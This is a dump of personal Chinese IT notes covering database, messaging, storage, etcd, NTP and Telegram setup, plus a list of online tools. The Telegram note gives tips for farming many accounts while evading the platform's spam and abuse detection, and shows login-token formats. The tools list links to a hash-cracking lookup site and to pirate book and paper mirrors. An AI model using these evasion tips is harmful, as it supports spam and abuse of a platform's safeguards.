45 | # 若需要运行多个Maxwell,需要为每个实例配置不同的client_id和replica_server_id,以存储不同的binlog位点;否则已有的maxwell实例会报错退出。
46 | # --client_id=maxwell #默认
47 | # --replica_server_id=6379 #默认
48 | ```
49 |
50 | 5. 通过配置文件启动maxwell ./bin/maxwell --config config.properties
51 |
52 | ```conf
53 | # tl;dr config
54 | log_level=warn
55 |
56 | #producer=stdout
57 | producer=kafka
58 | kafka.bootstrap.servers=${IP}:${PORT},${IP_1}:${PORT_2}
59 | kafka_topic=${Topic_Name}
60 |
61 | # mysql login info
62 | host=${IP}
63 | user=maxwell_1_33
64 | password=maxwell_1_33
65 | # name of the mysql database where maxwell keeps its own state
66 | schema_database=maxwell_1_33
67 |
68 | filter= exclude: *.*, include: db1.table1
69 | ```
70 |
--------------------------------------------------------------------------------
/software/db/mongo.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | https://docs.mongodb.com/manual/tutorial/enable-authentication/
8 |
9 | 1. 数据库级别操作
10 | use DATABASE_NAME
11 | show dbs
12 | db.dropDatabase()
13 |
14 | 2. 集合级别操作
15 | db.createCollection(CONNECTION_NAME, options)
16 | show collections
17 | db.collection.drop()
18 |
19 | - 当执行插入文档操作时,没有集合则会默认创建这个集合
20 | db.CONNECTION_NAME.insert({"KEY":"VALUE"})
21 |
22 | 2. 权限角色
23 | 0\. 开启权限认证 mongod --auth --dbpath "D:\\Program Files\\MongoDB\\Server\\4.0\\data"
24 | 1. 数据库用户角色
25 | read: 只读数据权限
26 | readWrite:读写数据权限
27 | 2. 数据库管理角色
28 | dbAdmin: 在当前db中执行管理操作的权限
29 | dbOwner: 在当前db中执行任意操作
30 | userAdmin: 在当前db中管理user的权限
31 | 3. 查看全局所有账户
32 | ```
33 | use admin
34 | db.system.users.find().pretty()
35 | ```
36 | 4. 查看当前数据库的所有用户
37 | ```
38 | show users
39 | ```
40 | 5. 为某个数据库创建一个用户
41 | ```shell
42 | use DATABASE_NAME
43 | db.createUser({user:"user",pwd:"pass",roles:["readWrite"]}) # 增加用户
44 | db.updateUser("user",{roles:[ {role:"read",db:"DATABASE_NAME"} ]}) # 修改用户
45 | db.auth("user","pass") # 切换用户
46 | ```
47 | 6. 创建全局用户
48 | ```
49 | use admin
50 | db.addUser("global_user","global123")
51 | ```
52 | 3. 查询
53 | - db.collection.find(query, projection).pretty()
54 | - db.collection.find(条件, 获取的字段).pretty()
55 | 1. and 查询 并且只输出title字段
56 | db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"},{title:true}).pretty()
57 | 2. or 查询
58 | db.col.find({$or:[{"by":"菜鸟教程"},{"title": "MongoDB 教程"}]}).pretty()
59 | 3. 查询字段title不为null的且存在记录值的document的数量
60 | db.getCollection('col').find({"title":{"$ne":null, , $exists:true}}).count()
61 |
--------------------------------------------------------------------------------
/software/db/mysql/mysql.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-08-05
3 | ---
4 |
5 | [TOC]
6 |
7 | # Mysql总览
8 |
9 | 1. Mysql的层级架构
10 | - 连接层 数据库的连接,验证
11 | - SQL层 解析查询,优化查询,执行查询
12 | - 存储层 磁盘(InnoDB,MyISAM),内存memory,网络ndb
13 |
14 | ## 机制
15 |
16 | ### 主从复制
17 |
18 | 1. master将改变记录到二进制日志(binary log)。
19 | 2. slave开启一个 I/O 线程,连接master,进行binlog dump process,从master的二进制日志中读取事件,然后写入本地的中继日志(relay log)内。如果已经同步好master的binlog事件,它将会睡眠并等待master产生新的事件。
20 | 3. slave开启一个 SQL 线程,SQL线程从中继日志读取事件,并重放其中的事件而更新slave的数据,使其与master中的数据一致。假设该线程与I/O线程保持一致,中继日志通常会位于OS的缓存中,所以中继日志的开销很小。
21 |
--------------------------------------------------------------------------------
/software/db/rocksDB.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-05-31
3 | ---
4 |
5 | [TOC]
6 |
7 | ## RockDB介绍
8 |
9 | - 源码
10 |
11 | - C++ https://github.com/facebook/rocksdb
12 | - Rust https://github.com/rust-rocksdb/rust-rocksdb
13 |
14 | - 起源
15 |
16 | - 2012年4月。
17 | - Facebook公司的Dhruba Borthakur在LevelDB上创建了RocksDB分支。
18 | - 目标是提高服务工作负载的性能,最大限度的发挥闪存和RAM的高度率读写性能。
19 | - 向后兼容的levelDB API。
20 |
21 | - RocksDB 属于嵌入式数据库,没有网络交互接口,必须和服务部署在同一台服务器上。
22 |
23 | - 设计思想: 数据冷热分离。
24 |
25 | 1. 新写入的“热数据”会保存在内存中,如果过一段时间数据没有被更新,冷数据则会“下沉”到磁盘底层的“表层文件”,如果过一段时间数据继续没有被更新,冷数据继续“下沉”到更底层的文件中。
26 | 2. 如果磁盘底层的冷数据被修改了,它又会再次进入内存,一段时间后又会被持久化刷回到磁盘文件的浅层,然后再慢慢往下移动到底层。
27 |
28 | - RocksDB对比LevelDB
29 |
30 | 1. 增加了column family,这样有利于多个不相关的数据集存储在同一个db中,因为不同column family的数据是存储在不同的sst和memtable中,所以一定程度上起到了隔离的作用。
31 | 2. LevelDB只能支持单线程文件合并;RocksDB支持多线程文件合并,充分利用服务器多核。
32 | 3. LevelDB只有一个Memtable,诺Memtable满了还没有来得及Flush刀sst文件,则会引起系统停顿;DocksDB可以根据服务器内存情况开辟多个Immutable Memtable。
33 | 4. LevelDB每次只能获取一个KV;RocksDB支持批量获取。
34 | 5. LevelDB不支持备份和恢复;RocksDB支持增量备份、全量备份和恢复。
35 |
36 | - 目录介绍
37 |
38 | 1. \*.log: 事务日志用于保存数据操作日志,可用于数据恢复。
39 | 2. \*.sst: 数据持久化文件。(如果没有生成sst文件可能是因为第一次写数据,数据量小没触发flush操作,数据都在内存的 MemoryTable 中)
40 | 3. MANIFEST:数据库中的 MANIFEST 文件记录数据库状态。Compaction过程会添加新文件并从数据库中删除旧文件,并通过将它们记录在 MANIFEST 文件中使这些操作持久化。
41 | 4. CURRENT:记录当前正在使用的MANIFEST文件。
42 | 5. LOCK:无内容,open时创建,表示一个db在一个进程中只能被open一次,多线程共用此实例。
43 | 6. IDENTITY:id。
44 | 7. LOG:统计日志。
45 | 8. OPTIONS:配置信息。
46 |
47 | - 工作流程
48 |
49 | ## 机制
50 |
51 | - 并发
52 | - 一次只能由一个进程打开数据库。rocksdb实现从操作系统获取锁以防止误用。
53 | - 在单个进程中,同一 rocksdb::DB 实例可以由多个并发线程安全地共享。也就是说,不同的线程可以在没有任何外部同步的情况下写入或获取迭代器,或者在同一个数据库上调用Get(rocksdb实现将自动执行所需的同步)。
54 | - 在单个进程中,Iterator 、 WriteBatch 等实例可能需要外部进行同步。
55 |
56 | ## 指令操作
57 |
58 | ```bash
59 | git clone https://github.com/facebook/rocksdb
60 |
61 | # 下载依赖,跟进后面的链接 https://github.com/facebook/rocksdb/blob/main/INSTALL.md
62 |
63 | make ldb
64 |
65 | ./ldb -h
66 |
67 | db_path=~/.aleo/storage/ledger-3/
68 |
69 | ./ldb --db=${db_path} --create_if_missing put gary_key gary_value
70 |
71 | ./ldb --db=${db_path} get gary_key
72 |
73 | ./ldb --db=${db_path} scan
74 |
75 | ./ldb --db=${db_path} list_live_files_metadata
76 | ```
77 |
--------------------------------------------------------------------------------
/software/etcd.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | # etcd
8 |
9 | - 参考文档
10 | https://alexstocks.github.io/html/etcd.html
11 |
12 | - 提供一致性服务的分布式系统
13 | 1\. kv键值存储
14 |
15 | - etcd 底层的 boltdb 采用 B+ 树形式存储 kv 的 MVCC 数据,每次修改的数据只存储增量版本,所以创建snapshot 的成本挺高的。
16 | kv 中的 key 是一个三元组 (major, sub, type),Major 存储了 key 的 revision,Sub 则存储了同样 revision 下的差异,type 则是一个后缀,用于指明一些特殊value 的类型,如果当前 value 中有 tombstone 则 type 为 t。
17 |
18 | ## API
19 |
20 | 1. 查看版本
21 | curl http://127.0.0.1:2379/version
22 |
23 | 2. 查看监控数据metrics
24 |
25 | ## 指令
26 |
27 | ### 访问结构
28 |
29 | ```bash
30 | IP=127.0.0.1
31 | ETCDCTL_API=3 //opt/kube/bin/etcdctl \
32 | --endpoints=https://${IP}:2379 \
33 | --cacert=/etc/kubernetes/ssl/ca.pem \
34 | --cert=/etc/etcd/ssl/etcd.pem \
35 | --key=/etc/etcd/ssl/etcd-key.pem \
36 | 具体指令
37 | # 例如查看etcd节点健康状状态
38 | ETCDCTL_API=3 //opt/kube/bin/etcdctl \
39 | --endpoints=https://${IP}:2379 \
40 | --cacert=/etc/kubernetes/ssl/ca.pem \
41 | --cert=/etc/etcd/ssl/etcd.pem \
42 | --key=/etc/etcd/ssl/etcd-key.pem \
43 | endpoint health
44 | ```
45 |
46 | 2. 查看所有key
47 | etcdctl --endpoints="https://${IP}:2379" --prefix --keys-only=true get /
48 | 关键参数
49 | --keys-only=true 仅仅查看key
50 | --prefix 查看拥有某个前缀的key
51 |
52 | 3. 监听key
53 | etcdctl watch /test/ok
54 |
55 | 4. 设置键值
56 |
57 | etcdctl --endpoints="https://${IP}:2379" set /test1/test2 "Hello world"
58 |
--------------------------------------------------------------------------------
/software/mail.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-05
3 | ---
4 |
5 | [TOC]
6 |
7 | ## IMAP POP SMTP
8 |
9 | - IMAP 和 POP 是访问电子邮件的两种方法。
10 | - IMAP
11 | - Internet Mail Access Protocol
12 | - 工作原理是连接电子邮件服务读取新邮件;客户端和电子邮件服务是双向通信的,客户端的操作都会反馈到服务器上。这意味着,你可以从世界上任何地方的不同设备检查电子邮件。
13 | - 仅在单击邮件时下载邮件,附件不会自动下载。 这样,就可以比 POP 更快地检查邮件。
14 | - POP3
15 | - Post Office Protocol 3
16 | - 工作原理是连接电子邮件服务,下载所有新邮件,从电子邮件服务中删除被下载过的邮件。 这意味着,在下载电子邮件后,只能使用同一台计算机对其进行访问。
17 | - 已发送邮件存储在本地电脑上,而不是存储在电子邮件服务器上。
18 | - SMTP
19 | - Simple Mail Transfer Protocol
20 |
21 | ## Gmail
22 |
23 | 1. 开启IMAP
24 |
25 | 1. https://mail.google.com/mail/u/0/#settings/fwdandpop
26 |
27 | 2. 生成应用密码
28 |
29 | 1. 需要先开启两步验证
30 | 2. https://security.google.com/settings/security/apppasswords
31 | 3. 生成应用密码后需要立刻复制记录下来,应用密码窗口关掉后就不能再次查看了。
32 |
--------------------------------------------------------------------------------
/software/markdown.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-08-24
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Typora
8 |
9 | - 历史版本 https://typora.io/dev_release.html
10 | - 最后的免费版本 0.11.8
11 | - Mac https://download.typora.io/mac/Typora-0.11.18.dmg
12 | - Windows x64
13 | - Windows x32
14 | - Linux
15 |
--------------------------------------------------------------------------------
/software/minio.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ### Minio
8 |
9 | 官网文档
10 | https://docs.minio.io/docs/minio-admin-complete-guide.html
11 |
12 | minio的客户端mc
13 | https://dl.min.io/client/mc/release/linux-amd64/mc
14 |
15 | 1. 设置存储桶的访问权限(none, download, upload, public)
16 | mc policy set download minio/test/
17 |
18 | 2. 查看存储桶当前权限
19 | mc policy ls minio/test/
20 |
21 | 3. 列出所有的桶
22 | mc list minioServer名称
23 |
24 | 4. 查看配置
25 | mc config host list
26 | 配置文件目录 /用户家目录/.mc
27 |
--------------------------------------------------------------------------------
/software/nginx/modules.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-08
3 | ---
4 |
5 | [TOC]
6 |
7 | ### GeoIP
8 |
9 | ```dockerfile
10 | RUN apt install -y nginx nginx-module-geoip
11 | # nginx 安装GeoIP数据库
12 | RUN mkdir /etc/nginx/geoip
13 | # && wget https://geolite.maxmind.com/download/geoip/api/c/GeoIP.tar.gz \
14 | # # wget https://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
15 | # && wget https://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz \
16 |
17 | # 下载失败则从本copy进容器
18 | COPY GeoIP.dat.gz /etc/nginx/geoip/
19 | RUN cd /etc/nginx/geoip/ \
20 | && gunzip GeoIP.dat.gz \
21 | && tar -xzvf GeoIP.tar.gz \
22 | && mv GeoIP-1.4.8 GeoIP \
23 | && cd GeoIP \
24 | && ./configure \
25 | && make && make install \
26 | && rm -rf GeoIP GeoIP.tar.gz
27 | # && /usr/local/lib' > /etc/ld.so.conf.d/geoip.conf && ldconfig
28 | ```
29 |
--------------------------------------------------------------------------------
/software/rabbitmq.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | 生产者,消费者,频道,交换机,队列,路由键。
8 | producer,consumer,channel,exchange,queue,routing key。
9 | note:路由键可以简单地理解为queue的名字。
10 |
11 | 交换器类型Exchange Type
12 | direct:接收者和队列进行绑定。生产者和接收者的路由键需要完全一致匹配。
13 | channel.sendToQueue(queue, Buffer.from(msg), { persistent: true });
14 |
15 | channel.prefetch(1);\
16 | don't dispatch a new message to a worker until it has processed and acknowledged the previous one.
17 | Instead, it will dispatch it to the next worker that is not still busy.
18 |
19 | fanout: 用于订阅模式,接收者直接和交换机进行绑定,不需要路由键。假如没有接收者,消息直接被丢弃。
20 | channel.publish(exchange, key, Buffer.from(msg));
21 |
22 | topic: 用于订阅模式,接收者直接和交换机进行绑定,需要路由键。接收者的路由键和发送者的路由键进行规则匹配(\*,#)。
23 | channel.publish(exchange, key, Buffer.from(msg));
24 |
25 | header: 未学。
26 |
27 | RPC: 接收者需要绑定队列。
28 | channel.sendToQueue('rpc_queue',Buffer.from(num.toString()), {correlationId,replyTo: q.queue,});
29 |
30 | 关于queue
31 | exclusive: true 随机产生一个queue,当client连接断开时,销毁。
32 | persistent: true queue的消息持久化。
33 |
34 | rabbitmqctl list_queues
35 | rabbitmqctl list_exchanges
36 | rabbitmqctl list_queues name messages_ready messages_unacknowledged
37 | rabbitmqctl list_bindings
38 |
--------------------------------------------------------------------------------
/software/redis/redis-cluster.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/software/redis/redis-cluster.png
--------------------------------------------------------------------------------
/software/telegram.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-07
3 | ---
4 |
5 | [TOC]
6 |
7 | # 链接
8 |
9 | 1. https://github.com/thedemons/opentele/
10 | 2. https://github.com/thaithanhnhat/Telethon_to_Tdata
11 | 3. https://docs.jifengtg.com/functiondescription/xie-yi-hao-zhuan-zhi-deng-hao
12 | 4. https://miha.uk/docs/tutor/telegram-format-convert/
13 | 5. https://www.qunfa.tech/
14 |
15 | # TG
16 |
17 | - Telegram 支持32个设备同时在线----此类技术被称为多点登录技术。
18 |
19 | # 开发者
20 |
21 | 1. API ID:一个唯一的整数标识符,与你的 Telegram 应用程序绑定。
22 | 2. API Hash:一个随机生成的字符串,作为你的应用程序的密钥,用于身份验证。
23 |
24 | - 获取 API ID 和 API Hash
25 |
26 | 1. 访问 my.telegram.org
27 | 2. 使用 Telegram 账号登录(Telegram账户将收到一个验证码,输入后即可登录)。
28 | 3. 登录后,点击页面上的 API development tools。
29 | 4. Creating an application
30 | 5. 提交表单后,页面将显示您的 api_id 和 api_hash
31 |
32 | - 主流 Telegram 登入token格式
33 |
34 | 1. Telethon: 最流行。(后缀名:session)
35 | 2. Pyrogram:优雅的库,不过不如Telethon流行。(后缀名:session)
36 | 3. tdata: window下的Telegram客户端的格式。土味技术术语--直登号(一个叫做tdata的目录)
37 | 4. api接码形式:将Telegram的协议(一般是xxxx.session文件)和直登号(windows下的Telegram客户端账号信息)转化为在线的链接接码。 (例如: +12362081322|https://tgapiv2.miha.uk/Lyyer2zs85xxcykb/6d3axxd7-2055-46f7-a321-f33b530xxx/GetHTML
38 | 5. 密钥:某些软件需要,一般就是telethon和pyrogram的string_session形态。
39 | 6. json:某些软件需要。一般内含上者,或者是暴露出来的auth_key
40 | 7. web_auth_key:web版本的官方telegram客户端的登录方式。一般来说,都是一串”982FA。。。。“的值。可以从session文件中获取auth_key后填写。
41 |
42 | - 与 Telegram API 交互的 Python 库
43 |
44 | 1. Telethon 是一个纯 Python 库,使用 Telegram 的 MTProto 协议 与 Telegram API 通信。它特别适合需要直接、底层操作 Telegram 用户账户的场景。
45 | 2. Pyrogram 是一个基于 Python 的 Telegram 客户端库,支持 Telegram Bot API 和 MTProto 协议。因此,它可以用于用户账户和 Bot 账户。
46 | 3. Opentele 是一个轻量级的 Python 库,主要用于 Telegram 的 MTProto 协议交互。它的设计目标是快速、高效、简洁,适合轻量级的 Telegram 项目。
47 |
48 | # 风控和养号
49 |
50 | 1. 登录频率:多个账户短时间内从同一 IP 或少量 IP 登录,Telegram 可能检测到异常流量,触发限制。
51 | 1. 解决办法:一个IP登入1个或2个TG
52 | 2. API 调用频率:每个账户有 API 调用上限(例如每秒请求数)。若超过限制,账户可能被暂时封禁(Flood Wait)。
53 | 1. 解决办法:设置合理的操作间隔。
54 | 3. 批量行为一致性:多个账户同时执行相同操作(如群发消息或加群),Telegram 的算法可能识别为自动化行为。
55 | 1. 解决办法:设置合理的操作间隔。
56 | 4. IP 和设备指纹:使用相同或少量 IP、代理,或未模拟真实设备指纹,容易被关联并封禁。
57 |
58 | - 拉群风控规则
59 | 1. 限制群成员的增长速率,禁止每日新增成员超过200人。
60 | 2. 每日邀请限额的引入,普通用户的限额为100次邀请,而认证用户则为500次。
61 |
--------------------------------------------------------------------------------
/software/thumbor.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-03-29
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. github\
8 | https://github.com/thumbor/thumbor
9 |
10 | 2. document
11 | https://thumbor.readthedocs.io/en/latest/index.html
12 |
13 | 3. docker
14 |
15 | - https://registry.hub.docker.com/r/minimalcompact/thumbor
16 | - challengesoft/thumbor-gcloud
17 | - docker run -p 8888:80 minimalcompact/thumbor
18 |
19 | 4. using
20 |
21 | ```powershell
22 | #
23 | encodedURI=window.encodeURIComponent(
24 | "https://garys.top/PMQ/static/admin/images/login-backgroud.png"
25 | )
26 | console.log(encodedURI)
27 |
28 | # 剪裁图片
29 | http://127.0.0.1:8888/unsafe/300x200/https%3A%2F%2Fgarys.top%2FPMQ%2Fstatic%2Fadmin%2Fimages%2Flogin-backgroud.png
30 | ```
31 |
32 | 5. cloud-storage
33 |
34 | - https://github.com/Superbalist/thumbor-cloud-storage
35 | - https://www.cnpython.com/pypi/thumbor-cloud-storage
36 | - pip install thumbor-cloud-storage
37 |
38 | 6. s3
39 |
40 | - https://github.com/thumbor-community/aws
41 |
--------------------------------------------------------------------------------
/software/time.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-24
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 网络时间协议 ntp
8 |
9 | - 协议说明:https://en.wikipedia.org/wiki/Network_Time_Protocol
10 | - 功能:进行时钟同步,保证服务器之间的时间是一致的。
11 | - 使用UDP协议,端口123
12 |
13 | 1. 安装
14 |
15 | ```bash
16 | yum -y install ntp
17 | ```
18 |
19 | 2. 配置
20 | vi /etc/ntp.conf
21 |
22 | ```conf
23 | # 配置可以来同步时钟的网络段
24 | # Hosts on local network are less restricted.
25 | restrict 10.118.12.0 mask 255.255.255.0 nomodify
26 | # 假如此服务器没有上层的时钟同步服务器,则一定要有以下配置
27 | server 127.127.1.0
28 | fudge 127.127.1.0 stratum 0
29 | ```
30 |
31 | 3. 时钟服务器地址
32 |
33 | ```conf
34 | pool ntp.sjtu.edu.cn iburst # 上海交通大学网络中心NTP服务器地址
35 | pool time.nist.gov iburst # 美国标准技术研究院 NTP 服务器
36 | ```
37 |
38 | 4. 手动调整时钟
39 |
40 | - 需要先关闭ntp服务
41 | ntpdate 服务器地址
42 |
43 | 5. 查看服务状态
44 | systemctl status ntpd.service
45 |
46 | 6. 查看同步状态
47 | ntpq -p
48 | ntpstat
49 |
50 | ## 时区
51 |
52 | - 时区参考 https://time.123cha.com/knowledge/6.html
53 |
54 | - 整个地球分为二十四时区,每个时区都有自己的本地时间。每隔经度15°划分一个时区。
55 |
56 | - 通用协调时(UTC, Universal Time Coordinated)
57 |
58 | - UTC 世界标准时间 ~= GMT
59 |
60 | 1. GMT 格林尼治标准时间 Greenwich Mean Time
61 | - +0
62 | - 东零时区/西零时区,是西经15度到东经15度的地方,格林威治是英国伦敦泰晤士河南岸的一个地方。
63 | 2. CST 北京时间
64 | - UTC/GMT +08
65 | - 东八时区。
66 | 3. CET/CEST 中欧标准时间 Central European Time
67 | - UTC/GMT +01 (夏令时)
68 | - UTC/GMT +02 (冬令时)
69 | - 东一时区。大部分欧洲国家和部分北非国家在使用。
70 | 4. ET/EST 美国东部时间 Eastern Standard Time
71 | - UTC/GMT -04 (夏令时) 2022-3-13 3:00:00 ~ 2022-11-6 2:00:00
72 | - UTC/GMT -05 (冬令时)
73 | - 西五时区。纽约、华盛顿等城市在使用。
74 | 5. PT/PST 太平洋标准时间 Pacific Time Zone
75 | - UTC/GMT -08 (冬令时)
76 | - UTC/GMT -07 (夏令时)
77 | - 西八时区。太平洋沿岸美国的4个州在使用,代表城市洛杉矶、旧金山、圣地亚哥、拉斯维加斯、西雅图。
78 |
79 | ```bash
80 | # 1. 查看每个time zone当前的时间
81 | zdump Hongkong
82 |
83 | # 2. 设置时区
84 | ln -sf /usr/share/zoneinfo/posix/Asia/Shanghai /etc/localtime
85 | # 或者 tzselect
86 |
87 | timedatectl list-timezones |grep Shanghai # 查找中国时区的完整名称
88 | timedatectl set-timezone Asia/Shanghai # 临时设置,重启后失效
89 | ln -sf /usr/share/zoneinfo/Asia/Hong_Kong /etc/localtime
90 | ```
91 |
92 | ## 时间
93 |
94 | 1. 查看机器上的硬件时间(always in local time zone)
95 |
96 | ```bash
97 | hwclock --show
98 | ```
99 |
100 | 2. 查看操作系统的时间
101 |
102 | ```bash
103 | date -d "yesterday" +%Y-%m-%d
104 | date -d '2 days ago' +%Y-%m-%d # 显示2天前的时间
105 | date '+%Y-%m-%d %H:%M:%S'
106 | ```
107 |
--------------------------------------------------------------------------------
/zzz/online_tools.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-05-05
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 共享表格
8 |
9 | 1. google sheet 加密 https://www.skipser.com/p/2/p/password-protect-google-drive-document.html
10 | 1. https://blog.golayer.io/google-sheets/password-protect-google-sheets
11 |
12 | ## 免费云部署环境
13 |
14 | 1. 脚本部署 https://workers.cloudflare.com/
15 |
16 | ## 小工具链接
17 |
18 | 1. 在线加解密
19 |
20 | - https://www.cmd5.com/
21 |
22 | 2. openai
23 |
24 | 1. https://beta.openai.com/
25 | 2. https://chat.openai.com/
26 |
27 | 3. 图片转Excel
28 |
29 | 1. https://www.easyjob.ink/tools/img2excel.html
30 |
31 | 4. 视频托管网站 https://wave.video/
32 |
33 | ## 知识
34 |
35 | 1. 研究文章和书籍的数据库
36 |
37 | 1. sci-hub.se
38 | 2. sci-hub.st
39 | 3. sci-hub.ru
40 |
41 | 2. Z-Library 世界上最大的在线图书馆之一,官网:
42 |
43 | 1. https://zh.z-library.se/
44 | 2. https://z-lib.gs
45 | 3. https://zh.z-lib.gs/
46 | 4. https://1lib.sk
47 | 5. https://zh.z-lib.gd/
48 |
49 | 3. 在线图书馆 https://liber3.eth.limo/
50 |
--------------------------------------------------------------------------------
/zzz/todo.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. 编程 WASM
8 |
9 | 2. 运维 GitOps
10 |
--------------------------------------------------------------------------------